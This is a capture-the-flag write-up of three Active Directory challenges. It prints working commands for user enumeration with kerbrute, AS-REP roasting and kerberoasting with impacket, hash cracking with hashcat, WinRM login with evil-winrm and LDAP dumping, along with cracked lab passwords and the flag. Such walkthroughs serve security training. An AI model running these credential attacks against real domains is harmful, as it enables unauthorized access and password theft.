mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-22 12:03:03 +00:00
119 lines
3.7 KiB
Markdown
119 lines
3.7 KiB
Markdown
# Blemflarck
|
|
|
|
This challenge is related to Active Directory in which we are given these files, `admins.txt` , `hosts` and `nmap.txt`
|
|
|
|
<img src="https://i.imgur.com/blefZnn.png"/>
|
|
|
|
admins.txt contains a list of usernames
|
|
|
|
<img src="https://i.imgur.com/17hPdnK.png"/>
|
|
|
|
nmap.txt contains result of nmap of the domain controller
|
|
|
|
<img src="https://i.imgur.com/qZymuxN.png"/>
|
|
|
|
and `hosts` contains the IP and domain name of the target
|
|
|
|
<img src="https://i.imgur.com/v5QlqoD.png"/>
|
|
|
|
Now to start solving this, we have a list of usernames of the domain, need to verfiy which users are valid on the domain for that we can use `kerbrute`
|
|
|
|
<img src="https://i.imgur.com/hSxMEcf.png"/>
|
|
We can try performing AS-REP roasting using `GetNPUsers` from `impacket` in which the user `shreya` doesn't have pre-authentication set so without providing a valid password for the user we can request for his TGT
|
|
|
|
```bash
|
|
GetNPUsers.py vindicators.space/ -usersfile ./admins.txt -request
|
|
```
|
|
|
|
<img src="https://i.imgur.com/HAZ2yXJ.png"/>
|
|
|
|
To crack this we can use `hashcat` with mode `18200
|
|
|
|
```bash
|
|
hashcat -a 0 -m 18200 ./hash.txt /usr/share/wordlists/rockyou.txt --force
|
|
```
|
|
|
|
<img src="https://i.imgur.com/Q1YpH6e.png"/>
|
|
|
|
This will crack the hash with password `$anturce77RioGr@ndePR`
|
|
|
|
<img src="https://i.imgur.com/oeWS1ys.png"/>
|
|
Now having the credentials we can login through WinRM which is running on port 5985 using `evil-winrm`
|
|
|
|
```bash
|
|
evil-winrm -i 34.218.188.252 -u 'shreya' -p ''
|
|
```
|
|
After logging in we can get the flag for this challenge
|
|
|
|
<img src="https://i.imgur.com/3vJfhCJ.png"/>
|
|
|
|
## PhoenixPerson
|
|
|
|
<img src="https://i.imgur.com/ElPQQ9s.png"/>
|
|
|
|
This challenge is continuation from the first one, we have a valid set of credential, we can try using kerberoasting, if there's a SPN tied to an account we can request for TGS and later crack it
|
|
|
|
```bash
|
|
GetUserSPNs.py vindicators.space/shreya -request
|
|
```
|
|
<img src="https://i.imgur.com/jTxv1iK.png"/>
|
|
|
|
Runing hashcat to crack this hash
|
|
|
|
<img src="https://i.imgur.com/mrkWL6I.png"/>
|
|
|
|
<img src="https://i.imgur.com/4Ju33Rh.png"/>
|
|
|
|
Now logging with mirage user
|
|
|
|
```bash
|
|
evil-winrm -i 34.218.188.252 -u 'mirage' -p '!@#New_Life87!@#'
|
|
```
|
|
|
|
<img src="https://i.imgur.com/AYNENVw.png"/>
|
|
|
|
## DAB-389 b
|
|
|
|
<img src="https://i.imgur.com/EDJ4n2x.png"/>
|
|
|
|
This challenge is the last part of AD category where we need to find the third flag through the user `mirage`
|
|
|
|
From the description the number 389 is referrenced as LDAP which is the port number for that service, we need to enumerate LDAP, there's a tool called `ldapdomaindump`
|
|
|
|
```bash
|
|
ldapdomaindump -u 'mirage' -p '!@#New_Life87!@#' ldap://34.218.188.252
|
|
```
|
|
|
|
<img src="https://i.imgur.com/Z5r7m9p.png"/>
|
|
This will generate some html files for users, groups and computers in the domain, going through the `domain_users.html` file we'll get the first part of the flag
|
|
|
|
<img src="https://i.imgur.com/npDFACX.png"/>
|
|
|
|
<img src="https://i.imgur.com/icvuQ4s.png"/>
|
|
|
|
The second part will be found from `domain_computers.html`
|
|
|
|
<img src="https://i.imgur.com/szr19bM.png"/>
|
|
|
|
And the third one from `domain_groups.html`
|
|
|
|
<img src="https://i.imgur.com/kpF554N.png"/>
|
|
|
|
We can get the flag through `grep` as well by using regular expression
|
|
|
|
<img src="https://i.imgur.com/w1hyD7J.png"/>
|
|
|
|
Which makes the final flag
|
|
|
|
```
|
|
flag{3fe05494a09ac38bb5199698b475c48c_LD4P_3num3r4t10n_FTW_:)}
|
|
|
|
```
|
|
There were good challenges and a lot of categories including web3, cloud and source code review which I haven't done before, due to me doing "real world assesments" I wasn't able to touch the rest of the challenges
|
|
|
|
<img src="https://i.imgur.com/PTZoCop.png"/>
|
|
|
|
## References
|
|
- https://hashcat.net/wiki/doku.php?id=example_hashes
|
|
- https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
|
|
- https://www.cyberciti.biz/faq/grep-regular-expressions/
|